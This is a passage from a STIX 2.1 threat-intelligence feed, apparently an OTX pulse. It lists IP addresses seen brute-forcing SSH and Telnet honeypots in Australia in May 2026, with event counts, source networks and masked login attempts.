      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--25b16f2c-5843-4394-b415-dc751882dbd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0cc7a57d-8749-4467-ae1d-d80525db8368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--ab6ee8ad-dab4-4725-8fd8-1b39527c9fbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--9ba7f616-d28e-4abb-b967-5332393d0fb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.31.97.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T01:15:11.000Z",
      "valid_until": "2026-06-20T01:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132116. Organisation(s): Anonet Network Private Limited.",
      "id": "indicator--c6cb8671-aafc-44fe-b8fb-e43f745a5709",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.100.7.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: DK. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--9d52913b-ed8e-49eb-80ca-2dc13ae90e89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.58.219.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a268af9d-5f85-4550-8706-d2c8304c0508",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.120.112.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): W******6, d******8.",
      "id": "indicator--e72db1c6-de6d-4af6-9733-969601c0c0bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.28.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, **, 3**********4, ***. Passwords observed (masked): 1*****+, 1**********e, 3***********4, 3**********4, A*******9.",
      "id": "indicator--d13ff3ca-8257-4176-9ab9-c4a24e0ee581",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.104.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--535c009b-c835-4d79-92ed-6c803fd6a9d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.35.72.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--34d2097c-c61a-4b51-991a-1a681fc8ba91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.28.119.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 329. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): 3**********4, r**t, **, m****t, w******n. Passwords observed (masked): 3***********4, 3**********4, a******4, d****n, ***.",
      "id": "indicator--02ea60cf-1caa-4f1d-8f9d-841576ea9209",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.158.4.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 270075. Organisation(s): SUPER REDES S.A.S. Usernames observed (masked): b*****h, r**t, 3**********4, d****n, **. Passwords observed (masked): !**********4, 3***********4, 3**********4, A*******9, b*****h.",
      "id": "indicator--e8fe992e-5b38-4ec9-9921-4280eee86587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.10.29.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--502bc9eb-2ed6-4872-9b95-175eb8948d0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.35.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 50219. Organisation(s): Valence Technology Co..",
      "id": "indicator--87d65e9c-00e3-4d2a-9dec-c99177323301",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.226.76.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--36951f78-152f-40bd-931f-9b846ad9689c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.68.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fc03585b-1f89-4661-8e65-7b79cf60ea8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.59.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS. Usernames observed (masked): r**t, m****t, 3**********4, a*****e, c****e. Passwords observed (masked): !**********4, 1**********e, 3***********4, 3**********4, A*******9.",
      "id": "indicator--72993b59-5bf0-4092-8c25-eeaf1a1e38d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.66.224.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--151540a9-bb57-4c17-8795-46b6c17dcf2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.41.58.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:15:10.000Z",
      "valid_until": "2026-06-20T02:15:08.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b15e6277-3314-43db-ae9b-e8e5232b21dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.99.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f35507ca-7571-4bbb-87e5-eb9513e99336",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.213.194.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--6481c3c1-aa66-42b7-8c67-aca4e9ca7cfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.129.37.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8ba11abd-766b-4c4d-a085-88a0fce73ecf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--b36daeaf-208a-4699-9e4f-5f72b147dc5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.68.172.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--55c1e8c4-3202-4840-a2fa-6c99813fc664",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.190.189.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): i*****l. Passwords observed (masked): I***********************6.",
      "id": "indicator--0fb19720-ccfb-4f87-a848-e76240629fbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 50219. Organisation(s): Valence Technology Co.. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--303ae204-7771-4a1a-bec0-1d30f1d4f8e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MZ. ASN(s): 30619. Organisation(s): TMCEL-Mocambique.",
      "id": "indicator--0b7f3879-b87c-4ead-9987-02b1bd13f391",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.158.0.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--db8ea311-9f27-45c2-aaa4-7ea99c0792b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.74.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--eedbffe2-a4d9-422f-9512-f3daad5f91a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.59.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--07755dd2-f11b-43e0-a5fc-72ba8671e980",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.48.3.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--7f99ba9b-c9d8-4435-a9c7-0ba78dff5bc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.217.40.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T03:15:14.000Z",
      "valid_until": "2026-06-20T03:15:03.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135851. Organisation(s): Excogitate Technologies Pvt Ltd. Usernames observed (masked): r**t, 3**********4, a***n, a***********r, b******c. Passwords observed (masked): 3***********4, 3**********4, 1******4, ***, 1**4.",
      "id": "indicator--354a1a16-8e47-4364-9fc0-e3044ea7d215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.190.7.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--82904ee5-1a91-4029-b90c-cf200ca7eb52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.32.134.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7a3aa368-883d-4241-9069-f376f8654113",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.173.159.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
